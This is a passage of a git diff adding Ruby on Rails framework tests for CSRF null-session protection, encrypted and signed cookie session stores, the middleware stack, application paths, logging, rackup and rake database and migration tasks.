+ post ':controller(/:action)'
+ end
+ RUBY
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ protect_from_forgery with: :null_session
+
+ def write_session
+ session[:foo] = 1
+ render nothing: true
+ end
+
+ def read_session
+ render text: session[:foo].inspect
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.action_controller.allow_forgery_protection = true
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get '/foo/write_session'
+ get '/foo/read_session'
+ assert_equal '1', last_response.body
+
+ post '/foo/read_session' # Read session using POST request without CSRF token
+ assert_equal 'nil', last_response.body # Stored value shouldn't be accessible
+
+ post '/foo/write_session' # Write session using POST request without CSRF token
+ get '/foo/read_session' # Session shouldn't be changed
+ assert_equal '1', last_response.body
+ end
+
+ test "cookie jar is empty and isn't saved on unverified request when using :null_session protect method" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ post ':controller(/:action)'
+ end
+ RUBY
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ protect_from_forgery with: :null_session
+
+ def write_cookie
+ cookies[:foo] = '1'
+ render nothing: true
+ end
+
+ def read_cookie
+ render text: cookies[:foo].inspect
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.action_controller.allow_forgery_protection = true
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get '/foo/write_cookie'
+ get '/foo/read_cookie'
+ assert_equal '"1"', last_response.body
+
+ post '/foo/read_cookie' # Read cookie using POST request without CSRF token
+ assert_equal 'nil', last_response.body # Stored value shouldn't be accessible
+
+ post '/foo/write_cookie' # Write cookie using POST request without CSRF token
+ get '/foo/read_cookie' # Cookie shouldn't be changed
+ assert_equal '"1"', last_response.body
+ end
+
+ test "session using encrypted cookie store" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ end
+ RUBY
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def write_session
+ session[:foo] = 1
+ render nothing: true
+ end
+
+ def read_session
+ render text: session[:foo]
+ end
+
+ def read_encrypted_cookie
+ render text: cookies.encrypted[:_myapp_session]['foo']
+ end
+
+ def read_raw_cookie
+ render text: cookies[:_myapp_session]
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get '/foo/write_session'
+ get '/foo/read_session'
+ assert_equal '1', last_response.body
+
+ get '/foo/read_encrypted_cookie'
+ assert_equal '1', last_response.body
+
+ secret = app.key_generator.generate_key('encrypted cookie')
+ sign_secret = app.key_generator.generate_key('signed encrypted cookie')
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+
+ get '/foo/read_raw_cookie'
+ assert_equal 1, encryptor.decrypt_and_verify(last_response.body)['foo']
+ end
+
+ test "session upgrading signature to encryption cookie store works the same way as encrypted cookie store" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ end
+ RUBY
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def write_session
+ session[:foo] = 1
+ render nothing: true
+ end
+
+ def read_session
+ render text: session[:foo]
+ end
+
+ def read_encrypted_cookie
+ render text: cookies.encrypted[:_myapp_session]['foo']
+ end
+
+ def read_raw_cookie
+ render text: cookies[:_myapp_session]
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get '/foo/write_session'
+ get '/foo/read_session'
+ assert_equal '1', last_response.body
+
+ get '/foo/read_encrypted_cookie'
+ assert_equal '1', last_response.body
+
+ secret = app.key_generator.generate_key('encrypted cookie')
+ sign_secret = app.key_generator.generate_key('signed encrypted cookie')
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+
+ get '/foo/read_raw_cookie'
+ assert_equal 1, encryptor.decrypt_and_verify(last_response.body)['foo']
+ end
+
+ test "session upgrading signature to encryption cookie store upgrades session to encrypted mode" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ end
+ RUBY
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def write_raw_session
+ # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1}
+ cookies[:_myapp_session] = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTE5NjVkOTU3MjBmZmZjMTIzOTQxYmRmYjdkMmU2ODcwBjsAVEkiCGZvbwY7AEZpBg==--315fb9931921a87ae7421aec96382f0294119749"
+ render nothing: true
+ end
+
+ def write_session
+ session[:foo] = session[:foo] + 1
+ render nothing: true
+ end
+
+ def read_session
+ render text: session[:foo]
+ end
+
+ def read_encrypted_cookie
+ render text: cookies.encrypted[:_myapp_session]['foo']
+ end
+
+ def read_raw_cookie
+ render text: cookies[:_myapp_session]
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get '/foo/write_raw_session'
+ get '/foo/read_session'
+ assert_equal '1', last_response.body
+
+ get '/foo/write_session'
+ get '/foo/read_session'
+ assert_equal '2', last_response.body
+
+ get '/foo/read_encrypted_cookie'
+ assert_equal '2', last_response.body
+
+ secret = app.key_generator.generate_key('encrypted cookie')
+ sign_secret = app.key_generator.generate_key('signed encrypted cookie')
+ encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+
+ get '/foo/read_raw_cookie'
+ assert_equal 2, encryptor.decrypt_and_verify(last_response.body)['foo']
+ end
+
+ test "session upgrading legacy signed cookies to new signed cookies" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ end
+ RUBY
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def write_raw_session
+ # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1}
+ cookies[:_myapp_session] = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTE5NjVkOTU3MjBmZmZjMTIzOTQxYmRmYjdkMmU2ODcwBjsAVEkiCGZvbwY7AEZpBg==--315fb9931921a87ae7421aec96382f0294119749"
+ render nothing: true
+ end
+
+ def write_session
+ session[:foo] = session[:foo] + 1
+ render nothing: true
+ end
+
+ def read_session
+ render text: session[:foo]
+ end
+
+ def read_signed_cookie
+ render text: cookies.signed[:_myapp_session]['foo']
+ end
+
+ def read_raw_cookie
+ render text: cookies[:_myapp_session]
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+ config.secret_key_base = nil
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get '/foo/write_raw_session'
+ get '/foo/read_session'
+ assert_equal '1', last_response.body
+
+ get '/foo/write_session'
+ get '/foo/read_session'
+ assert_equal '2', last_response.body
+
+ get '/foo/read_signed_cookie'
+ assert_equal '2', last_response.body
+
+ verifier = ActiveSupport::MessageVerifier.new(app.config.secret_token)
+
+ get '/foo/read_raw_cookie'
+ assert_equal 2, verifier.verify(last_response.body)['foo']
+ end
+ end
+end
diff --git a/railties/test/application/middleware/static_test.rb b/railties/test/application/middleware/static_test.rb
new file mode 100644
index 0000000..0a793f8
--- /dev/null
+++ b/railties/test/application/middleware/static_test.rb
@@ -0,0 +1,31 @@
+# encoding: utf-8
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class MiddlewareStaticTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ # Regression test to #8907
+ # See https://github.com/rails/rails/commit/9cc82b77196d21a5c7021f6dca59ab9b2b158a45#commitcomment-2416514
+ test "doesn't set Cache-Control header when it is nil" do
+ app_file "public/foo.html", 'static'
+
+ require "#{app_path}/config/environment"
+
+ get 'foo'
+
+ assert_not last_response.headers.has_key?('Cache-Control'), "Cache-Control should not be set"
+ end
+ end
+end
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
new file mode 100644
index 0000000..d8076c7
--- /dev/null
+++ b/railties/test/application/middleware_test.rb
@@ -0,0 +1,223 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class MiddlewareTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def app
+ @app ||= Rails.application
+ end
+
+ test "default middleware stack" do
+ add_to_config "config.action_dispatch.x_sendfile_header = 'X-Sendfile'"
+
+ boot!
+
+ assert_equal [
+ "Rack::Sendfile",
+ "ActionDispatch::Static",
+ "Rack::Lock",
+ "ActiveSupport::Cache::Strategy::LocalCache",
+ "Rack::Runtime",
+ "Rack::MethodOverride",
+ "ActionDispatch::RequestId",
+ "Rails::Rack::Logger", # must come after Rack::MethodOverride to properly log overridden methods
+ "ActionDispatch::ShowExceptions",
+ "ActionDispatch::DebugExceptions",
+ "ActionDispatch::RemoteIp",
+ "ActionDispatch::Reloader",
+ "ActionDispatch::Callbacks",
+ "ActiveRecord::ConnectionAdapters::ConnectionManagement",
+ "ActiveRecord::QueryCache",
+ "ActionDispatch::Cookies",
+ "ActionDispatch::Session::CookieStore",
+ "ActionDispatch::Flash",
+ "ActionDispatch::ParamsParser",
+ "Rack::Head",
+ "Rack::ConditionalGet",
+ "Rack::ETag"
+ ], middleware
+ end
+
+ test "Rack::Sendfile is not included by default" do
+ boot!
+
+ assert !middleware.include?("Rack::Sendfile"), "Rack::Sendfile is not included in the default stack unless you set config.action_dispatch.x_sendfile_header"
+ end
+
+ test "Rack::Cache is not included by default" do
+ boot!
+
+ assert !middleware.include?("Rack::Cache"), "Rack::Cache is not included in the default stack unless you set config.action_dispatch.rack_cache"
+ end
+
+ test "Rack::Cache is present when action_dispatch.rack_cache is set" do
+ add_to_config "config.action_dispatch.rack_cache = true"
+
+ boot!
+
+ assert_equal "Rack::Cache", middleware.first
+ end
+
+ test "ActionDispatch::SSL is present when force_ssl is set" do
+ add_to_config "config.force_ssl = true"
+ boot!
+ assert middleware.include?("ActionDispatch::SSL")
+ end
+
+ test "ActionDispatch::SSL is configured with options when given" do
+ add_to_config "config.force_ssl = true"
+ add_to_config "config.ssl_options = { host: 'example.com' }"
+ boot!
+
+ assert_equal AppTemplate::Application.middleware.first.args, [{host: 'example.com'}]
+ end
+
+ test "removing Active Record omits its middleware" do
+ use_frameworks []
+ boot!
+ assert !middleware.include?("ActiveRecord::ConnectionAdapters::ConnectionManagement")
+ assert !middleware.include?("ActiveRecord::QueryCache")
+ end
+
+ test "removes lock if cache classes is set" do
+ add_to_config "config.cache_classes = true"
+ boot!
+ assert !middleware.include?("Rack::Lock")
+ end
+
+ test "removes lock if allow concurrency is set" do
+ add_to_config "config.allow_concurrency = true"
+ boot!
+ assert !middleware.include?("Rack::Lock")
+ end
+
+ test "removes static asset server if serve_static_assets is disabled" do
+ add_to_config "config.serve_static_assets = false"
+ boot!
+ assert !middleware.include?("ActionDispatch::Static")
+ end
+
+ test "can delete a middleware from the stack" do
+ add_to_config "config.middleware.delete ActionDispatch::Static"
+ boot!
+ assert !middleware.include?("ActionDispatch::Static")
+ end
+
+ test "includes exceptions middlewares even if action_dispatch.show_exceptions is disabled" do
+ add_to_config "config.action_dispatch.show_exceptions = false"
+ boot!
+ assert middleware.include?("ActionDispatch::ShowExceptions")
+ assert middleware.include?("ActionDispatch::DebugExceptions")
+ end
+
+ test "removes ActionDispatch::Reloader if cache_classes is true" do
+ add_to_config "config.cache_classes = true"
+ boot!
+ assert !middleware.include?("ActionDispatch::Reloader")
+ end
+
+ test "use middleware" do
+ use_frameworks []
+ add_to_config "config.middleware.use Rack::Config"
+ boot!
+ assert_equal "Rack::Config", middleware.last
+ end
+
+ test "insert middleware after" do
+ add_to_config "config.middleware.insert_after ActionDispatch::Static, Rack::Config"
+ boot!
+ assert_equal "Rack::Config", middleware.second
+ end
+
+ test "Rails.cache does not respond to middleware" do
+ add_to_config "config.cache_store = :memory_store"
+ boot!
+ assert_equal "Rack::Runtime", middleware.third
+ end
+
+ test "Rails.cache does respond to middleware" do
+ boot!
+ assert_equal "Rack::Runtime", middleware.fourth
+ end
+
+ test "insert middleware before" do
+ add_to_config "config.middleware.insert_before ActionDispatch::Static, Rack::Config"
+ boot!
+ assert_equal "Rack::Config", middleware.first
+ end
+
+ test "can't change middleware after it's built" do
+ boot!
+ assert_raise RuntimeError do
+ app.config.middleware.use Rack::Config
+ end
+ end
+
+ # ConditionalGet + Etag
+ test "conditional get + etag middlewares handle http caching based on body" do
+ make_basic_app
+
+ class ::OmgController < ActionController::Base
+ def index
+ if params[:nothing]
+ render text: ""
+ else
+ render text: "OMG"
+ end
+ end
+ end
+
+ etag = "5af83e3196bf99f440f31f2e1a6c9afe".inspect
+
+ get "/"
+ assert_equal 200, last_response.status
+ assert_equal "OMG", last_response.body
+ assert_equal "text/html; charset=utf-8", last_response.headers["Content-Type"]
+ assert_equal "max-age=0, private, must-revalidate", last_response.headers["Cache-Control"]
+ assert_equal etag, last_response.headers["Etag"]
+
+ get "/", {}, "HTTP_IF_NONE_MATCH" => etag
+ assert_equal 304, last_response.status
+ assert_equal "", last_response.body
+ assert_equal nil, last_response.headers["Content-Type"]
+ assert_equal "max-age=0, private, must-revalidate", last_response.headers["Cache-Control"]
+ assert_equal etag, last_response.headers["Etag"]
+
+ get "/?nothing=true"
+ assert_equal 200, last_response.status
+ assert_equal "", last_response.body
+ assert_equal "text/html; charset=utf-8", last_response.headers["Content-Type"]
+ assert_equal "no-cache", last_response.headers["Cache-Control"]
+ assert_equal nil, last_response.headers["Etag"]
+ end
+
+ test "ORIGINAL_FULLPATH is passed to env" do
+ boot!
+ env = ::Rack::MockRequest.env_for("/foo/?something")
+ Rails.application.call(env)
+
+ assert_equal "/foo/?something", env["ORIGINAL_FULLPATH"]
+ end
+
+ private
+
+ def boot!
+ require "#{app_path}/config/environment"
+ end
+
+ def middleware
+ AppTemplate::Application.middleware.map(&:klass).map(&:name)
+ end
+ end
+end
diff --git a/railties/test/application/paths_test.rb b/railties/test/application/paths_test.rb
new file mode 100644
index 0000000..4029984
--- /dev/null
+++ b/railties/test/application/paths_test.rb
@@ -0,0 +1,83 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ class PathsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ app_file "config/environments/development.rb", ""
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ config.after_initialize do |app|
+ app.config.session_store nil
+ end
+ RUBY
+ require "#{app_path}/config/environment"
+ @paths = Rails.application.config.paths
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def root(*path)
+ app_path(*path).to_s
+ end
+
+ def assert_path(paths, *dir)
+ assert_equal [root(*dir)], paths.expanded
+ end
+
+ def assert_in_load_path(*path)
+ assert $:.any? { |p| File.expand_path(p) == root(*path) }, "Load path does not include '#{root(*path)}'. They are:\n-----\n #{$:.join("\n")}\n-----"
+ end
+
+ def assert_not_in_load_path(*path)
+ assert !$:.any? { |p| File.expand_path(p) == root(*path) }, "Load path includes '#{root(*path)}'. They are:\n-----\n #{$:.join("\n")}\n-----"
+ end
+
+ test "booting up Rails yields a valid paths object" do
+ assert_path @paths["app/models"], "app/models"
+ assert_path @paths["app/helpers"], "app/helpers"
+ assert_path @paths["app/views"], "app/views"
+ assert_path @paths["lib"], "lib"
+ assert_path @paths["vendor"], "vendor"
+ assert_path @paths["tmp"], "tmp"
+ assert_path @paths["config"], "config"
+ assert_path @paths["config/locales"], "config/locales/en.yml"
+ assert_path @paths["config/environment"], "config/environment.rb"
+ assert_path @paths["config/environments"], "config/environments/development.rb"
+
+ assert_equal root("app", "controllers"), @paths["app/controllers"].expanded.first
+ end
+
+ test "booting up Rails yields a list of paths that are eager" do
+ eager_load = @paths.eager_load
+ assert eager_load.include?(root("app/controllers"))
+ assert eager_load.include?(root("app/helpers"))
+ assert eager_load.include?(root("app/models"))
+ end
+
+ test "environments has a glob equal to the current environment" do
+ assert_equal "#{Rails.env}.rb", @paths["config/environments"].glob
+ end
+
+ test "load path includes each of the paths in config.paths as long as the directories exist" do
+ assert_in_load_path "app", "controllers"
+ assert_in_load_path "app", "models"
+ assert_in_load_path "app", "helpers"
+ assert_in_load_path "lib"
+ assert_in_load_path "vendor"
+
+ assert_not_in_load_path "app", "views"
+ assert_not_in_load_path "config"
+ assert_not_in_load_path "config", "locales"
+ assert_not_in_load_path "config", "environments"
+ assert_not_in_load_path "tmp"
+ assert_not_in_load_path "tmp", "cache"
+ end
+ end
+end
diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb
new file mode 100644
index 0000000..701843a
--- /dev/null
+++ b/railties/test/application/rack/logger_test.rb
@@ -0,0 +1,54 @@
+require "isolation/abstract_unit"
+require "active_support/log_subscriber/test_helper"
+require "rack/test"
+
+module ApplicationTests
+ module RackTests
+ class LoggerTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include ActiveSupport::LogSubscriber::TestHelper
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ require "#{app_path}/config/environment"
+ super
+ @logger = MockLogger.new
+ Rails.stubs(:logger).returns(@logger)
+ end
+
+ def teardown
+ super
+ teardown_app
+ end
+
+ def logs
+ @logs ||= @logger.logged(:info).join("\n")
+ end
+
+ test "logger logs proper HTTP GET verb and path" do
+ get "/blah"
+ wait
+ assert_match 'Started GET "/blah"', logs
+ end
+
+ test "logger logs proper HTTP HEAD verb and path" do
+ head "/blah"
+ wait
+ assert_match 'Started HEAD "/blah"', logs
+ end
+
+ test "logger logs HTTP verb override" do
+ post "/", _method: 'put'
+ wait
+ assert_match 'Started PUT "/"', logs
+ end
+
+ test "logger logs HEAD requests" do
+ post "/", _method: 'head'
+ wait
+ assert_match 'Started HEAD "/"', logs
+ end
+ end
+ end
+end
diff --git a/railties/test/application/rackup_test.rb b/railties/test/application/rackup_test.rb
new file mode 100644
index 0000000..49ac9fc
--- /dev/null
+++ b/railties/test/application/rackup_test.rb
@@ -0,0 +1,43 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ class RackupTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def rackup
+ require "rack"
+ app, _ = Rack::Builder.parse_file("#{app_path}/config.ru")
+ app
+ end
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "rails app is present" do
+ assert File.exist?(app_path("config"))
+ end
+
+ test "config.ru can be racked up" do
+ Dir.chdir app_path do
+ @app = rackup
+ assert_welcome get("/")
+ end
+ end
+
+ test "Rails.application is available after config.ru has been racked up" do
+ rackup
+ assert_kind_of Rails::Application, Rails.application
+ end
+
+ test "the config object is available on the application object" do
+ rackup
+ assert_equal 'UTC', Rails.application.config.time_zone
+ end
+ end
+end
diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb
new file mode 100644
index 0000000..9e711f2
--- /dev/null
+++ b/railties/test/application/rake/dbs_test.rb
@@ -0,0 +1,171 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ module RakeTests
+ class RakeDbsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def database_url_db_name
+ "db/database_url_db.sqlite3"
+ end
+
+ def set_database_url
+ ENV['DATABASE_URL'] = "sqlite3://:@localhost/#{database_url_db_name}"
+ # ensure it's using the DATABASE_URL
+ FileUtils.rm_rf("#{app_path}/config/database.yml")
+ end
+
+ def expected
+ @expected ||= {}
+ end
+
+ def db_create_and_drop
+ Dir.chdir(app_path) do
+ output = `bundle exec rake db:create`
+ assert_equal output, ""
+ assert File.exists?(expected[:database])
+ assert_equal expected[:database],
+ ActiveRecord::Base.connection_config[:database]
+ output = `bundle exec rake db:drop`
+ assert_equal output, ""
+ assert !File.exists?(expected[:database])
+ end
+ end
+
+ test 'db:create and db:drop without database url' do
+ require "#{app_path}/config/environment"
+ expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
+ db_create_and_drop
+ end
+
+ test 'db:create and db:drop with database url' do
+ require "#{app_path}/config/environment"
+ set_database_url
+ expected[:database] = database_url_db_name
+ db_create_and_drop
+ end
+
+ def db_migrate_and_status
+ Dir.chdir(app_path) do
+ `rails generate model book title:string;
+ bundle exec rake db:migrate`
+ output = `bundle exec rake db:migrate:status`
+ assert_match(/database:\s+\S+#{expected[:database]}/, output)
+ assert_match(/up\s+\d{14}\s+Create books/, output)
+ end
+ end
+
+ test 'db:migrate and db:migrate:status without database_url' do
+ require "#{app_path}/config/environment"
+ expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
+ db_migrate_and_status
+ end
+
+ test 'db:migrate and db:migrate:status with database_url' do
+ require "#{app_path}/config/environment"
+ set_database_url
+ expected[:database] = database_url_db_name
+ db_migrate_and_status
+ end
+
+ def db_schema_dump
+ Dir.chdir(app_path) do
+ `rails generate model book title:string;
+ rake db:migrate db:schema:dump`
+ schema_dump = File.read("db/schema.rb")
+ assert_match(/create_table \"books\"/, schema_dump)
+ end
+ end
+
+ test 'db:schema:dump without database_url' do
+ db_schema_dump
+ end
+
+ test 'db:schema:dump with database_url' do
+ set_database_url
+ db_schema_dump
+ end
+
+ def db_fixtures_load
+ Dir.chdir(app_path) do
+ `rails generate model book title:string;
+ bundle exec rake db:migrate db:fixtures:load`
+ assert_match(/#{expected[:database]}/,
+ ActiveRecord::Base.connection_config[:database])
+ require "#{app_path}/app/models/book"
+ assert_equal 2, Book.count
+ end
+ end
+
+ test 'db:fixtures:load without database_url' do
+ require "#{app_path}/config/environment"
+ expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
+ db_fixtures_load
+ end
+
+ test 'db:fixtures:load with database_url' do
+ require "#{app_path}/config/environment"
+ set_database_url
+ expected[:database] = database_url_db_name
+ db_fixtures_load
+ end
+
+ def db_structure_dump_and_load
+ Dir.chdir(app_path) do
+ `rails generate model book title:string;
+ bundle exec rake db:migrate db:structure:dump`
+ structure_dump = File.read("db/structure.sql")
+ assert_match(/CREATE TABLE \"books\"/, structure_dump)
+ `bundle exec rake db:drop db:structure:load`
+ assert_match(/#{expected[:database]}/,
+ ActiveRecord::Base.connection_config[:database])
+ require "#{app_path}/app/models/book"
+ #if structure is not loaded correctly, exception would be raised
+ assert Book.count, 0
+ end
+ end
+
+ test 'db:structure:dump and db:structure:load without database_url' do
+ require "#{app_path}/config/environment"
+ expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
+ db_structure_dump_and_load
+ end
+
+ test 'db:structure:dump and db:structure:load with database_url' do
+ require "#{app_path}/config/environment"
+ set_database_url
+ expected[:database] = database_url_db_name
+ db_structure_dump_and_load
+ end
+
+ def db_test_load_structure
+ Dir.chdir(app_path) do
+ `rails generate model book title:string;
+ bundle exec rake db:migrate db:structure:dump db:test:load_structure`
+ ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+ ActiveRecord::Base.establish_connection 'test'
+ require "#{app_path}/app/models/book"
+ #if structure is not loaded correctly, exception would be raised
+ assert Book.count, 0
+ assert_match(/#{ActiveRecord::Base.configurations['test']['database']}/,
+ ActiveRecord::Base.connection_config[:database])
+ end
+ end
+
+ test 'db:test:load_structure without database_url' do
+ require "#{app_path}/config/environment"
+ db_test_load_structure
+ end
+ end
+ end
+end
diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb
new file mode 100644
index 0000000..33c7538
--- /dev/null
+++ b/railties/test/application/rake/migrations_test.rb
@@ -0,0 +1,158 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ module RakeTests
+ class RakeMigrationsTest < ActiveSupport::TestCase
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test 'running migrations with given scope' do
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string`
+
+ app_file "db/migrate/01_a_migration.bukkits.rb", <<-MIGRATION
+ class AMigration < ActiveRecord::Migration
+ end
+ MIGRATION
+
+ output = `rake db:migrate SCOPE=bukkits`
+ assert_no_match(/create_table\(:users\)/, output)
+ assert_no_match(/CreateUsers/, output)
+ assert_no_match(/add_column\(:users, :email, :string\)/, output)
+
+ assert_match(/AMigration: migrated/, output)
+
+ output = `rake db:migrate SCOPE=bukkits VERSION=0`
+ assert_no_match(/drop_table\(:users\)/, output)
+ assert_no_match(/CreateUsers/, output)
+ assert_no_match(/remove_column\(:users, :email\)/, output)
+
+ assert_match(/AMigration: reverted/, output)
+ end
+ end
+
+ test 'model and migration generator with change syntax' do
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string`
+
+ output = `rake db:migrate`
+ assert_match(/create_table\(:users\)/, output)
+ assert_match(/CreateUsers: migrated/, output)
+ assert_match(/add_column\(:users, :email, :string\)/, output)
+ assert_match(/AddEmailToUsers: migrated/, output)
+
+ output = `rake db:rollback STEP=2`
+ assert_match(/drop_table\(:users\)/, output)
+ assert_match(/CreateUsers: reverted/, output)
+ assert_match(/remove_column\(:users, :email, :string\)/, output)
+ assert_match(/AddEmailToUsers: reverted/, output)
+ end
+ end
+
+ test 'migration status when schema migrations table is not present' do
+ output = Dir.chdir(app_path){ `rake db:migrate:status` }
+ assert_equal "Schema migrations table does not exist yet.\n", output
+ end
+
+ test 'test migration status' do
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string;
+ rake db:migrate`
+
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+ `rake db:rollback STEP=1`
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/down\s+\d{14}\s+Add email to users/, output)
+ end
+ end
+
+ test 'migration status without timestamps' do
+ add_to_config('config.active_record.timestamped_migrations = false')
+
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string;
+ rake db:migrate`
+
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{3,}\s+Create users/, output)
+ assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+
+ `rake db:rollback STEP=1`
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{3,}\s+Create users/, output)
+ assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+ end
+ end
+
+ test 'test migration status after rollback and redo' do
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string;
+ rake db:migrate`
+
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+ `rake db:rollback STEP=2`
+ output = `rake db:migrate:status`
+
+ assert_match(/down\s+\d{14}\s+Create users/, output)
+ assert_match(/down\s+\d{14}\s+Add email to users/, output)
+
+ `rake db:migrate:redo`
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+Add email to users/, output)
+ end
+ end
+
+ test 'migration status after rollback and redo without timestamps' do
+ add_to_config('config.active_record.timestamped_migrations = false')
+
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string;
+ rake db:migrate`
+
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{3,}\s+Create users/, output)
+ assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+
+ `rake db:rollback STEP=2`
+ output = `rake db:migrate:status`
+
+ assert_match(/down\s+\d{3,}\s+Create users/, output)
+ assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+
+ `rake db:migrate:redo`
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{3,}\s+Create users/, output)
+ assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb
new file mode 100644
index 0000000..3508f42
--- /dev/null
+++ b/railties/test/application/rake/notes_test.rb
@@ -0,0 +1,179 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ module RakeTests
+ class RakeNotesTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ require "rails/all"
+ super
+ end
+
+ def teardown
+ super
+ teardown_app
+ end
+
+ test 'notes finds notes for certain file_types' do
+ app_file "app/views/home/index.html.erb", "<% # TODO: note in erb %>"
+ app_file "app/views/home/index.html.haml", "-# TODO: note in haml"
+ app_file "app/views/home/index.html.slim", "/ TODO: note in slim"
+ app_file "app/assets/javascripts/application.js.coffee", "# TODO: note in coffee"
+ app_file "app/assets/javascripts/application.js", "// TODO: note in js"
+ app_file "app/assets/stylesheets/application.css", "// TODO: note in css"
+ app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
